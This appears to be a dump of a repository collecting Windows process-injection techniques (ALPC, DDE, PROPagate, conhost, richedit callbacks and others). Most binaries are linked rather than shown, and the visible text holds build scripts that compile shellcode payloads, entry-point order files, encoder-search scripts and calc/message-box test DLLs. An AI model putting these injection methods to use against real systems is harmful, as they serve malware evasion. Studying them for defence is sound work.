├── payload ├── x64 │ ├── dde.txt │ ├── order.txt │ ├── release.txt │ ├── wnf.txt │ ├── alpc.txt │ ├── ctrl.txt │ ├── etw.txt │ ├── extrabytes.txt │ ├── svcctrl.txt │ ├── Conhost.txt │ ├── ListView.txt │ ├── clipboard.txt │ ├── propagate.txt │ ├── treeview.txt │ ├── winsock.txt │ ├── autocourgette.txt │ ├── getapi.h │ ├── hyphentension.txt │ ├── wordwarping.txt │ ├── xbin.exe │ ├── xbin.obj │ ├── payload.exe │ ├── payload.obj │ ├── streamception.txt │ ├── build.bat │ └── xbin.cpp └── x86 │ ├── extrabytes.txt │ ├── svcctrl.txt │ ├── Conhost.txt │ ├── propagate.txt │ ├── getapi.h │ ├── xbin.exe │ ├── xbin.obj │ ├── payload.exe │ ├── payload.obj │ ├── build.bat │ ├── payload.c │ └── xbin.cpp ├── alpc ├── alpc.exe ├── alpc.obj ├── handle.exe ├── handle.obj ├── payload.bin ├── Makefile └── handle.c ├── dde ├── dde.exe ├── dde.obj ├── payload.bin └── dde.c ├── dns ├── dns.exe ├── dns.obj └── dnsalloc.bin ├── kct ├── kct.exe ├── kct.obj └── release.bin ├── apc ├── payload.bin └── alert.c ├── conhost ├── Makefile ├── chost.exe ├── chost.obj ├── runsc.exe ├── runsc.obj ├── payload.bin └── chost.c ├── wnf ├── payload.bin └── scanners.c ├── wsh ├── payload.bin └── wsh.h ├── etw └── callback.bin ├── spooler ├── Makefile ├── payload.bin ├── spooler.exe └── spooler.obj ├── svcctrl ├── Makefile ├── payload.bin ├── svcctrl.obj └── README.md ├── syscalls ├── hello.dll ├── lde.obj ├── test.exe ├── test.obj ├── test.cpp ├── hello.c └── lde.h ├── ntlib ├── x64 │ └── ntdll.lib ├── x86 │ └── ntdll.lib └── nttpp.h ├── richedit ├── stream.bin ├── clipboard.bin ├── hyphenate.bin ├── listview.bin ├── treeview.bin ├── wordbreak.bin ├── autocorrect.bin ├── build.bat ├── listplanting.c ├── streamception.c ├── treepoline.c ├── wordwarping.c └── oleum.c ├── clipboard ├── clipboard.exe ├── clipboard.obj ├── release.bin ├── img │ ├── window_register.png │ ├── methods_clipboard.png │ ├── explorer_clipboard.png │ └── data_transfer_object_clipboard.png └── clipboard.c ├── ctrlinject └── handler.bin ├── extrabytes ├── payload.bin ├── Makefile ├── Makefile.msvc └── xorstring.h ├── propagate ├── Makefile ├── enumprop.exe ├── payload.bin ├── propagate.exe ├── propagate.obj ├── propagate.c └── enumprop.cpp ├── eminject ├── test_code │ ├── notepad.bin │ ├── hello.c │ ├── one.py │ ├── two.py │ ├── two1.py │ ├── three.py │ ├── four.py │ ├── three1.py │ ├── five.py │ ├── cp1252_x86.asm │ ├── cp1252_encoder.c │ ├── calc.asm │ └── nullz_encoder.c ├── bld.bat ├── calc4.asm ├── calc4.h ├── calc3.asm └── calc3.h ├── cmdline ├── bld.bat ├── wer.h └── winexec1.asm ├── knowndlls └── hello.c ├── wer ├── werload.c └── wermodule.c ├── README.md ├── tooltip └── tip.c └── mpr └── enum.c /payload/x64/dde.txt: -------------------------------------------------------------------------------- 1 | DDECallback 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x64/order.txt: -------------------------------------------------------------------------------- 1 | entrypoint 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x64/release.txt: -------------------------------------------------------------------------------- 1 | Release 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x64/wnf.txt: -------------------------------------------------------------------------------- 1 | WnfCallback 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /alpc/alpc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/alpc/alpc.exe -------------------------------------------------------------------------------- /alpc/alpc.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/alpc/alpc.obj -------------------------------------------------------------------------------- /dde/dde.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/dde/dde.exe -------------------------------------------------------------------------------- /dde/dde.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/dde/dde.obj -------------------------------------------------------------------------------- /dns/dns.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/dns/dns.exe -------------------------------------------------------------------------------- /dns/dns.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/dns/dns.obj -------------------------------------------------------------------------------- /kct/kct.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/kct/kct.exe -------------------------------------------------------------------------------- /kct/kct.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/kct/kct.obj -------------------------------------------------------------------------------- /payload/x64/alpc.txt: -------------------------------------------------------------------------------- 1 | TpAlpcCallBack 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x64/ctrl.txt: -------------------------------------------------------------------------------- 1 | HandlerRoutine 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x64/etw.txt: -------------------------------------------------------------------------------- 1 | EtwEnableCallback 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x64/extrabytes.txt: -------------------------------------------------------------------------------- 1 | WndProc 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x64/svcctrl.txt: -------------------------------------------------------------------------------- 1 | Handler 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x86/extrabytes.txt: -------------------------------------------------------------------------------- 1 | WndProc@16 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x86/svcctrl.txt: -------------------------------------------------------------------------------- 1 | Handler 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /alpc/handle.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/alpc/handle.exe -------------------------------------------------------------------------------- /alpc/handle.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/alpc/handle.obj -------------------------------------------------------------------------------- /apc/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/apc/payload.bin -------------------------------------------------------------------------------- /conhost/Makefile: -------------------------------------------------------------------------------- 1 | conhost: 2 | cl /nologo /MD chost.c 3 | clean: 4 | del chost.exe *.obj -------------------------------------------------------------------------------- /dde/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/dde/payload.bin -------------------------------------------------------------------------------- /kct/release.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/kct/release.bin -------------------------------------------------------------------------------- /wnf/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/wnf/payload.bin -------------------------------------------------------------------------------- /wsh/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/wsh/payload.bin -------------------------------------------------------------------------------- /alpc/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/alpc/payload.bin -------------------------------------------------------------------------------- /conhost/chost.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/conhost/chost.exe -------------------------------------------------------------------------------- /conhost/chost.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/conhost/chost.obj -------------------------------------------------------------------------------- /conhost/runsc.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/conhost/runsc.exe -------------------------------------------------------------------------------- /conhost/runsc.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/conhost/runsc.obj -------------------------------------------------------------------------------- /dns/dnsalloc.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/dns/dnsalloc.bin -------------------------------------------------------------------------------- /etw/callback.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/etw/callback.bin -------------------------------------------------------------------------------- /payload/x64/Conhost.txt: -------------------------------------------------------------------------------- 1 | GetWindowHandle 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x64/ListView.txt: -------------------------------------------------------------------------------- 1 | Pfnlvgroupcompare 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x64/clipboard.txt: -------------------------------------------------------------------------------- 1 | OleGetClipboardData 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x64/propagate.txt: -------------------------------------------------------------------------------- 1 | SubclassProc 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x64/treeview.txt: -------------------------------------------------------------------------------- 1 | TvCompareFunc 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x64/winsock.txt: -------------------------------------------------------------------------------- 1 | WSHGetSocketInformation 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp -------------------------------------------------------------------------------- /payload/x86/Conhost.txt: -------------------------------------------------------------------------------- 1 | GetWindowHandle 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x86/propagate.txt: -------------------------------------------------------------------------------- 1 | SubclassProc@24 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /spooler/Makefile: -------------------------------------------------------------------------------- 1 | spooler: 2 | cl /nologo /MD spooler.c 3 | clean: 4 | del spooler.exe *.obj -------------------------------------------------------------------------------- /svcctrl/Makefile: -------------------------------------------------------------------------------- 1 | svcctrl: 2 | cl /nologo /MD svcctrl.c 3 | clean: 4 | del svcctrl.exe *.obj -------------------------------------------------------------------------------- /syscalls/hello.dll: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/syscalls/hello.dll -------------------------------------------------------------------------------- /syscalls/lde.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/syscalls/lde.obj -------------------------------------------------------------------------------- /syscalls/test.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/syscalls/test.exe -------------------------------------------------------------------------------- /syscalls/test.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/syscalls/test.obj -------------------------------------------------------------------------------- /conhost/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/conhost/payload.bin -------------------------------------------------------------------------------- /ntlib/x64/ntdll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/ntlib/x64/ntdll.lib -------------------------------------------------------------------------------- /ntlib/x86/ntdll.lib: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/ntlib/x86/ntdll.lib -------------------------------------------------------------------------------- /payload/x64/autocourgette.txt: -------------------------------------------------------------------------------- 1 | Autocorrectproc 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x64/getapi.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x64/getapi.h -------------------------------------------------------------------------------- /payload/x64/hyphentension.txt: -------------------------------------------------------------------------------- 1 | HyphenateProc 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x64/wordwarping.txt: -------------------------------------------------------------------------------- 1 | Editwordbreakproca 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x64/xbin.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x64/xbin.exe -------------------------------------------------------------------------------- /payload/x64/xbin.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x64/xbin.obj -------------------------------------------------------------------------------- /payload/x86/getapi.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x86/getapi.h -------------------------------------------------------------------------------- /payload/x86/xbin.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x86/xbin.exe -------------------------------------------------------------------------------- /payload/x86/xbin.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x86/xbin.obj -------------------------------------------------------------------------------- /richedit/stream.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/richedit/stream.bin -------------------------------------------------------------------------------- /spooler/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/spooler/payload.bin -------------------------------------------------------------------------------- /spooler/spooler.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/spooler/spooler.exe -------------------------------------------------------------------------------- /spooler/spooler.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/spooler/spooler.obj -------------------------------------------------------------------------------- /svcctrl/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/svcctrl/payload.bin -------------------------------------------------------------------------------- /svcctrl/svcctrl.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/svcctrl/svcctrl.obj -------------------------------------------------------------------------------- /clipboard/clipboard.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/clipboard/clipboard.exe -------------------------------------------------------------------------------- /clipboard/clipboard.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/clipboard/clipboard.obj -------------------------------------------------------------------------------- /clipboard/release.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/clipboard/release.bin -------------------------------------------------------------------------------- /ctrlinject/handler.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/ctrlinject/handler.bin -------------------------------------------------------------------------------- /extrabytes/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/extrabytes/payload.bin -------------------------------------------------------------------------------- /payload/x64/payload.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x64/payload.exe -------------------------------------------------------------------------------- /payload/x64/payload.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x64/payload.obj -------------------------------------------------------------------------------- /payload/x64/streamception.txt: -------------------------------------------------------------------------------- 1 | Editstreamcallback 2 | FindExport 3 | xGetProcAddress 4 | xstrcmp 5 | -------------------------------------------------------------------------------- /payload/x86/payload.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x86/payload.exe -------------------------------------------------------------------------------- /payload/x86/payload.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/payload/x86/payload.obj -------------------------------------------------------------------------------- /propagate/Makefile: -------------------------------------------------------------------------------- 1 | propagate: 2 | cl /nologo /MD propagate.c 3 | clean: 4 | del propagate.exe *.obj -------------------------------------------------------------------------------- /propagate/enumprop.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/propagate/enumprop.exe -------------------------------------------------------------------------------- /propagate/payload.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/propagate/payload.bin -------------------------------------------------------------------------------- /propagate/propagate.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/propagate/propagate.exe -------------------------------------------------------------------------------- /propagate/propagate.obj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/propagate/propagate.obj -------------------------------------------------------------------------------- /richedit/clipboard.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/richedit/clipboard.bin -------------------------------------------------------------------------------- /richedit/hyphenate.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/richedit/hyphenate.bin -------------------------------------------------------------------------------- /richedit/listview.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/richedit/listview.bin -------------------------------------------------------------------------------- /richedit/treeview.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/richedit/treeview.bin -------------------------------------------------------------------------------- /richedit/wordbreak.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/richedit/wordbreak.bin -------------------------------------------------------------------------------- /extrabytes/Makefile: -------------------------------------------------------------------------------- 1 | extrabytes: 2 | cl /nologo /MD extrabytes.c 3 | clean: 4 | del extrabytes.exe *.obj -------------------------------------------------------------------------------- /richedit/autocorrect.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/richedit/autocorrect.bin -------------------------------------------------------------------------------- /eminject/test_code/notepad.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/eminject/test_code/notepad.bin -------------------------------------------------------------------------------- /clipboard/img/window_register.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/clipboard/img/window_register.png -------------------------------------------------------------------------------- /alpc/Makefile: -------------------------------------------------------------------------------- 1 | alpc: 2 | cl /nologo /MD /EHsc alpc.cpp 3 | cl /nologo /MD handle.c 4 | clean: 5 | del *.obj handle.exe alpc.exe -------------------------------------------------------------------------------- /clipboard/img/methods_clipboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/clipboard/img/methods_clipboard.png -------------------------------------------------------------------------------- /clipboard/img/explorer_clipboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/clipboard/img/explorer_clipboard.png -------------------------------------------------------------------------------- /extrabytes/Makefile.msvc: -------------------------------------------------------------------------------- 1 | all: 2 | cl extract.cpp 3 | cl /Os /O2 /GS- /Gy messagebox.cpp 4 | extract messagebox.exe .text messagebox.bin -------------------------------------------------------------------------------- /clipboard/img/data_transfer_object_clipboard.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hasherezade/injection/HEAD/clipboard/img/data_transfer_object_clipboard.png -------------------------------------------------------------------------------- /cmdline/bld.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | yasm -fbin -DBIN winexec1.asm -owinexec1.bin 3 | yasm -fwin64 winexec1.asm -owinexec1.obj 4 | cl /MD var_inject.c winexec1.obj -------------------------------------------------------------------------------- /richedit/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cl /nologo wordwarping.c 3 | cl /nologo streamception.c 4 | cl /nologo oleum.c 5 | cl /nologo listplanting.c 6 | cl /nologo treepoline.c 7 | del *.obj -------------------------------------------------------------------------------- /eminject/bld.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | yasm -fbin -DBIN calc3.asm -ocalc3.bin 3 | disasm -m64 calc3.bin >calc3.h 4 | yasm -fbin -DBIN calc4.asm -ocalc4.bin 5 | disasm -m64 calc4.bin >calc4.h 6 | yasm -fwin64 calc3.asm -ocalc3.obj 7 | cl /c demo.c 8 | link /LARGEADDRESSAWARE:NO demo.obj calc3.obj -------------------------------------------------------------------------------- /syscalls/test.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "lde.h" 3 | 4 | int 5 | main(int argc, char *argv[]) { 6 | LDE *lde; 7 | 8 | if(argc != 2) { 9 | printf("usage: dis \n"); 10 | return 0; 11 | } 12 | 13 | // create length disassembly engine 14 | lde = new LDE(); 15 | 16 | lde->DisassembleSyscall(argv[1]); 17 | 18 | delete lde; 19 | 20 | return 0; 21 | } -------------------------------------------------------------------------------- /eminject/test_code/hello.c: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #include 3 | #pragma comment(lib, "user32.lib") 4 | 5 | __declspec(dllexport) 6 | BOOL APIENTRY DllMain(HMODULE hModule, 7 | DWORD ul_reason_for_call, 8 | LPVOID lpReserved) { 9 | switch (ul_reason_for_call) { 10 | case DLL_PROCESS_ATTACH: 11 | WinExec("calc", SW_SHOW); 12 | break; 13 | case DLL_THREAD_ATTACH: 14 | case DLL_THREAD_DETACH: 15 | case DLL_PROCESS_DETACH: 16 | break; 17 | } 18 | return TRUE; 19 | } 20 | -------------------------------------------------------------------------------- /knowndlls/hello.c: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #include 3 | #pragma comment(lib, "user32.lib") 4 | 5 | __declspec(dllexport) 6 | BOOL APIENTRY DllMain(HMODULE hModule, 7 | DWORD ul_reason_for_call, 8 | LPVOID lpReserved) { 9 | switch (ul_reason_for_call) { 10 | case DLL_PROCESS_ATTACH: 11 | MessageBox(NULL, "Hello world!", "Hello World!", 0); 12 | break; 13 | case DLL_THREAD_ATTACH: 14 | case DLL_THREAD_DETACH: 15 | case DLL_PROCESS_DETACH: 16 | break; 17 | } 18 | return TRUE; 19 | } 20 | -------------------------------------------------------------------------------- /syscalls/hello.c: -------------------------------------------------------------------------------- 1 | #define WIN32_LEAN_AND_MEAN 2 | #include 3 | #pragma comment(lib, "user32.lib") 4 | 5 | __declspec(dllexport) 6 | BOOL APIENTRY DllMain(HMODULE hModule, 7 | DWORD ul_reason_for_call, 8 | LPVOID lpReserved) { 9 | switch (ul_reason_for_call) { 10 | case DLL_PROCESS_ATTACH: 11 | MessageBox(NULL, "Hello world!", "Hello World!", 0); 12 | break; 13 | case DLL_THREAD_ATTACH: 14 | case DLL_THREAD_DETACH: 15 | case DLL_PROCESS_DETACH: 16 | break; 17 | } 18 | return TRUE; 19 | } 20 | -------------------------------------------------------------------------------- /eminject/test_code/one.py: -------------------------------------------------------------------------------- 1 | # test1.py 2 | from capstone import * 3 | import array 4 | 5 | md = Cs(CS_ARCH_X86, CS_MODE_64) 6 | cs = bytearray(b'\x00\x00') 7 | 8 | def is_allowed(ch): 9 | if(ch >= 0x80 and ch <= 0x8C): 10 | return False 11 | if(ch >= 0x91 and ch <= 0x9C): 12 | return False 13 | if(ch == 0x8E or ch == 0x9E or ch == 0x9F): 14 | return False 15 | return True 16 | 17 | for i in range(0, 256): 18 | if not is_allowed(i): 19 | continue 20 | cs[0] = i 21 | for insn in md.disasm(cs, 0): 22 | if insn.size == 1: 23 | print(''.join('\\x{:02x}'.format(x) for x in insn.bytes), end='') 24 | print(" /* %s\t%s */" %(insn.mnemonic, insn.op_str)) 25 | -------------------------------------------------------------------------------- /eminject/test_code/two.py: -------------------------------------------------------------------------------- 1 | # test1.py 2 | from capstone import * 3 | import array 4 | 5 | md = Cs(CS_ARCH_X86, CS_MODE_64) 6 | cs = bytearray(b'\x00\x00') 7 | 8 | def is_allowed(ch): 9 | if(ch >= 0x80 and ch <= 0x8C): 10 | return False 11 | if(ch >= 0x91 and ch <= 0x9C): 12 | return False 13 | if(ch == 0x8E or ch == 0x9E or ch == 0x9F): 14 | return False 15 | return True 16 | 17 | for i in range(0, 256): 18 | if not is_allowed(i): 19 | continue 20 | cs[0] = i 21 | for insn in md.disasm(cs, 0): 22 | if insn.size == 2: 23 | print(''.join('\\x{:02x}'.format(x) for x in insn.bytes), end='') 24 | print(" /* %s\t%s */" %(insn.mnemonic, insn.op_str)) 25 | -------------------------------------------------------------------------------- /eminject/test_code/two1.py: -------------------------------------------------------------------------------- 1 | # test1.py 2 | from capstone import * 3 | import array 4 | 5 | md = Cs(CS_ARCH_X86, CS_MODE_64) 6 | cs = bytearray(b'\x00\x00') 7 | 8 | def is_allowed(ch): 9 | if(ch >= 0x80 and ch <= 0x8C): 10 | return False 11 | if(ch >= 0x91 and ch <= 0x9C): 12 | return False 13 | if(ch == 0x8E or ch == 0x9E or ch == 0x9F): 14 | return False 15 | return True 16 | 17 | for i in range(0, 256): 18 | if not is_allowed(i): 19 | continue 20 | cs[1] = i 21 | for insn in md.disasm(cs, 0): 22 | if insn.size == 2: 23 | print(''.join('\\x{:02x}'.format(x) for x in insn.bytes), end='') 24 | print(" /* %s\t%s */" %(insn.mnemonic, insn.op_str)) 25 | -------------------------------------------------------------------------------- /eminject/test_code/three.py: -------------------------------------------------------------------------------- 1 | # test1.py 2 | from capstone import * 3 | import array 4 | 5 | md = Cs(CS_ARCH_X86, CS_MODE_64) 6 | cs = bytearray(b'\x00\x00\x00') 7 | 8 | def is_allowed(ch): 9 | if(ch >= 0x80 and ch <= 0x8C): 10 | return False 11 | if(ch >= 0x91 and ch <= 0x9C): 12 | return False 13 | if(ch == 0x8E or ch == 0x9E or ch == 0x9F): 14 | return False 15 | return True 16 | 17 | for i in range(0, 256): 18 | if not is_allowed(i): 19 | continue 20 | cs[1] = i 21 | for insn in md.disasm(cs, 0): 22 | if insn.size == 3: 23 | print(''.join('\\x{:02x}'.format(x) for x in insn.bytes), end='') 24 | print(" /* %s\t%s */" %(insn.mnemonic, insn.op_str)) 25 | -------------------------------------------------------------------------------- /eminject/test_code/four.py: -------------------------------------------------------------------------------- 1 | # test1.py 2 | from capstone import * 3 | import array 4 | 5 | md = Cs(CS_ARCH_X86, CS_MODE_64) 6 | cs = bytearray(b'\x00\x00\x00\x00') 7 | 8 | def is_allowed(ch): 9 | if(ch >= 0x80 and ch <= 0x8C): 10 | return False 11 | if(ch >= 0x91 and ch <= 0x9C): 12 | return False 13 | if(ch == 0x8E or ch == 0x9E or ch == 0x9F): 14 | return False 15 | return True 16 | 17 | for i in range(0, 256): 18 | if not is_allowed(i): 19 | continue 20 | cs[1] = i 21 | for j in range(0, 256): 22 | cs[3] = j 23 | for insn in md.disasm(cs, 0): 24 | if insn.size == 4: 25 | print(''.join('\\x{:02x}'.format(x) for x in insn.bytes), end='') 26 | print(" /* %s\t%s */" %(insn.mnemonic, insn.op_str)) 27 | -------------------------------------------------------------------------------- /eminject/test_code/three1.py: -------------------------------------------------------------------------------- 1 | # test1.py 2 | from capstone import * 3 | import array 4 | 5 | md = Cs(CS_ARCH_X86, CS_MODE_64) 6 | cs = bytearray(b'\x00\x00\x00') 7 | 8 | def is_allowed(ch): 9 | if(ch >= 0x80 and ch <= 0x8C): 10 | return False 11 | if(ch >= 0x91 and ch <= 0x9C): 12 | return False 13 | if(ch == 0x8E or ch == 0x9E or ch == 0x9F): 14 | return False 15 | return True 16 | 17 | for i in range(0, 256): 18 | if not is_allowed(i): 19 | continue 20 | cs[0] = i 21 | for j in range(0, 256): 22 | if not is_allowed(j): 23 | continue 24 | cs[2] = j 25 | for insn in md.disasm(cs, 0): 26 | if insn.size == 3: 27 | print(''.join('\\x{:02x}'.format(x) for x in insn.bytes), end='') 28 | print(" /* %s\t%s */" %(insn.mnemonic, insn.op_str)) 29 | -------------------------------------------------------------------------------- /eminject/test_code/five.py: -------------------------------------------------------------------------------- 1 | # test1.py 2 | from capstone import * 3 | import array 4 | 5 | md = Cs(CS_ARCH_X86, CS_MODE_64) 6 | cs = bytearray(b'\x00\x00\x00\x00\x00\x00') 7 | 8 | def allowed(ch): 9 | if(ch >= 0x80 and ch <= 0x8C): 10 | return False 11 | if(ch >= 0x91 and ch <= 0x9C): 12 | return False 13 | if(ch == 0x8E or ch == 0x9E or ch == 0x9F): 14 | return False 15 | return True 16 | 17 | for i in range(0, 256): 18 | if not allowed(i): 19 | continue 20 | cs[0] = i 21 | for j in range(0, 256): 22 | if not allowed(j): 23 | continue 24 | cs[2] = j 25 | for k in range(0, 256): 26 | if not allowed(k): 27 | continue 28 | cs[4] = k 29 | for insn in md.disasm(cs, 0): 30 | if insn.size == 5: 31 | print(''.join('\\x{:02x}'.format(x) for x in insn.bytes), end='') 32 | print(" /* %s\t%s */" %(insn.mnemonic, insn.op_str)) 33 | -------------------------------------------------------------------------------- /payload/x86/build.bat: -------------------------------------------------------------------------------- 1 | @echo off 2 | cl -nologo -Os xbin.cpp 3 | echo. 4 | cl -DCONSOLE -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 5 | link /order:@conhost.txt /entry:GetWindowHandle /base:0 payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 6 | xbin payload.exe .text 7 | move payload.exe32.bin ..\..\conhost\payload.bin 8 | echo. 9 | cl -DSUBCLASS -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 10 | link /order:@propagate.txt /entry:SubclassProc /base:0 payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 11 | xbin payload.exe .text 12 | move payload.exe32.bin ..\..\propagate\payload.bin 13 | echo. 14 | cl -DWINDOW -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 15 | link /order:@extrabytes.txt /entry:WndProc /base:0 payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 16 | xbin payload.exe .text 17 | move payload.exe32.bin ..\..\extrabytes\payload.bin 18 | echo. 19 | cl -DSVCCTRL -c -nologo -Os -O2 -Gm- -GR- -EHa -Oi -GS- payload.c 20 | link /order:@svcctrl.txt /entry:Handler /base:0 payload.obj -subsystem:console -nodefaultlib -stack:0x100000,0x100000 21 | xbin payload.exe .text 22 | move payload.exe32.bin 